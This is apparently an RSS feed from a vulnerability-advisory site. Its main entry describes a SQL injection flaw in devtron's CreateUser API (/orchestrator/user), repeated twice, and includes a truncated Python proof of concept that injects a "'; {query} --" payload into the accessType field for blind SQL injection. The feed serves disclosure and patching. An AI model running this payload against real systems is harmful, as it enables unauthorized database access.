https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Sat, 03 Oct 2026 23:41:31 +0000 https://cve.radiocsirt.org/vuln/euvd-2026-200006 EUVD-2026-200006 https://cve.radiocsirt.org/vuln/euvd-2026-200006 https://cve.radiocsirt.org/vuln/fkie_cve-2024-45794 <p>devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.</p> <p>devtron is an open source tool integration platform for Kubernetes. In affected versions an authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user). This issue has been addressed in version 0.7.2 and all users are advised to upgrade. There are no known workarounds for this vulnerability.</p> https://cve.radiocsirt.org/vuln/fkie_cve-2024-45794 https://cve.radiocsirt.org/vuln/ghsa-q78v-cv36-8fxj <p><strong>Affected:</strong> Go: github.com/devtron-labs/devtron</p> <p>### Summary An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).</p> <p>### Details The API is CreateUser (/orchestrator/user).</p> <p>The function to read user input is: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104</p> <p>The userInfo (line 104) parameter can be controlled by users.</p> <p>The SQL injection can happen in the code: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038</p> <p>The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.</p> <p>The user should be authenticated but only needs minimum permissions: </p> <p>### PoC</p> <p>Demonstrate a blind SQL injection to retrieve the database name:</p> <p>``` import requests import time import string import argparse</p> <p>def blind(ip, token, query): url = f&#34;http://{ip}/orchestrator/user&#34; headers = {&#34;token&#34;: token} entity = &#34;chart-group&#34; payload = f&#34;&#39;; {query} --&#34;</p> <p>data = {&#34;id&#34;: 111, &#34;email_id&#34;: &#34;abcd123@126.com&#34;, &#34;superAdmin&#34;: False, &#34;roleFilters&#34;:[{&#34;team&#34;:&#34;&#34;, &#34;environment&#34;:&#34;&#34;, &#34;action&#34;: &#34;&#34;, &#34;entity&#34;: entity, &#34;accessType&#34;: payload}]} #&#34;EntityName&#34;: &#34;test&#34;, &#34;AccessType&#34;: &#34;test&#34;, &#34;Cluster&#34;: &#34;&#34;,\&#34;NameSpace&#34;: &#34;devtroncd&#34;, &#34;Group&#34;: &#34;&#34;,…</p> <p><strong>Affected:</strong> Go: github.com/devtron-labs/devtron</p> <p>### Summary An authenticated user (with minimum permission) could utilize and exploit SQL Injection to allow the execution of malicious SQL queries via CreateUser API (/orchestrator/user).</p> <p>### Details The API is CreateUser (/orchestrator/user).</p> <p>The function to read user input is: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/api/auth/user/UserRestHandler.go#L96-L104</p> <p>The userInfo (line 104) parameter can be controlled by users.</p> <p>The SQL injection can happen in the code: https://github.com/devtron-labs/devtron/blob/4296366ae288f3a67f87e547d2b946acbcd2dd65/pkg/auth/user/repository/UserAuthRepository.go#L1038</p> <p>The query (line 1038) parameter can be controlled by a user to create and execute a malicious SQL query.</p> <p>The user should be authenticated but only needs minimum permissions: </p> <p>### PoC</p> <p>Demonstrate a blind SQL injection to retrieve the database name:</p> <p>``` import requests import time import string import argparse</p> <p>def blind(ip, token, query): url = f&#34;http://{ip}/orchestrator/user&#34; headers = {&#34;token&#34;: token} entity = &#34;chart-group&#34; payload = f&#34;&#39;; {query} --&#34;</p> <p>data = {&#34;id&#34;: 111, &#34;email_id&#34;: &#34;abcd123@126.com&#34;, &#34;superAdmin&#34;: False, &#34;roleFilters&#34;:[{&#34;team&#34;:&#34;&#34;, &#34;environment&#34;:&#34;&#34;, &#34;action&#34;: &#34;&#34;, &#34;entity&#34;: entity, &#34;accessType&#34;: payload}]} #&#34;EntityName&#34;: &#34;test&#34;, &#34;AccessType&#34;: &#34;test&#34;, &#34;Cluster&#34;: &#34;&#34;,\&#34;NameSpace&#34;: &#34;devtroncd&#34;, &#34;Group&#34;: &#34;&#34;,…</p> https://cve.radiocsirt.org/vuln/ghsa-q78v-cv36-8fxj https://cve.radiocsirt.org/vuln/opensuse-su-2024:14482-1 <p>govulncheck-vulndb-0.0.20241108T172500-1.1 on GA media</p> <p>govulncheck-vulndb-0.0.20241108T172500-1.1 on GA media</p> https://cve.radiocsirt.org/vuln/opensuse-su-2024:14482-1 https://cve.radiocsirt.org/vuln/suse-su-2024:4042-1 <p>Security update for govulncheck-vulndb</p> <p>Security update for govulncheck-vulndb</p> https://cve.radiocsirt.org/vuln/suse-su-2024:4042-1